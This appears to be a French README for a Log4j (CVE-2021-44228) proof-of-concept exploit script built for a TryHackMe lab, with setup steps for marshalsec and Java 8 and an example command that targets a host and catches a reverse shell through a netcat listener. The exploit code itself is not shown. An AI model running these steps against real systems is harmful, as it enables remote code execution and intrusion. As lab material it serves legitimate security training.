
Ce script Python a été créé alors que je travaillais sur la salle TryHackMe pour Log4j. Bien qu'il ait été créé avec les variables par défaut de cette salle, j'ai utilisé argparse pour rendre le script polyvalent pour une requête GET. Toutes les variables nécessaires peuvent être modifiées avec différentes options, voir -h pour plus d'informations.
Seul mon script est hébergé ici ; cela nécessite deux autres téléchargements pour fonctionner correctement, pour lesquels je fournis des liens. Mais configurer les dossiers comme je l'ai fait permettra au script de fonctionner sans trop d'efforts. Créez d'abord un dossier log4j (ou le nom que vous voulez), puis clonez ce dépôt avec git, puis déplacez poc.py dans /log4j/.
git clone https://github.com/ab0x90/CVE-2021-44228_PoC.git
Ensuite, clonez marshalsec dans le même répertoire que vous venez de créer, puis compilez-le avec maven.
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
Enfin, vous aurez besoin de télécharger une version de Java 8. Pour ce script, la valeur par défaut de -j est 'jdk1.8.0_20'.
Le nouveau répertoire devrait ressembler à ceci une fois tout extrait.
kali@kali-[~/tools/Exploits/log4j]$ls -al
total 338448
drwxr-xr-x 5 kali kali 4096 Dec 14 15:22 .
drwx------ 3 kali kali 4096 Dec 14 14:34 ..
drwxr-xr-x 8 kali kali 4096 Jul 30 2014 jdk1.8.0_20
drwxr-xr-x 5 kali kali 4096 Dec 14 14:40 marshalsec
-rw-r--r-- 1 kali kali 2781 Dec 14 16:02 poc.py
Une fois cette configuration terminée. Notez que si vous souhaitez ou devez utiliser une autre version de Java, cela peut être fait en utilisant -j NAME_OF_JAVA_FOLDER.
Menu d'aide

Le script inclut le payload fourni dans la salle THM ; modifiez l'IP/le port selon ce que vous voulez utiliser.

Démarrez un écouteur netcat pour capturer le shell sur le port spécifié dans le java_payload.
Démarrez un serveur web Python sur le port 8000
Exemple de commande :
python3 poc.py -l 10.6.20.239 -i 10.10.64.53 -p 8983
Exemple de sortie et shell inverse :
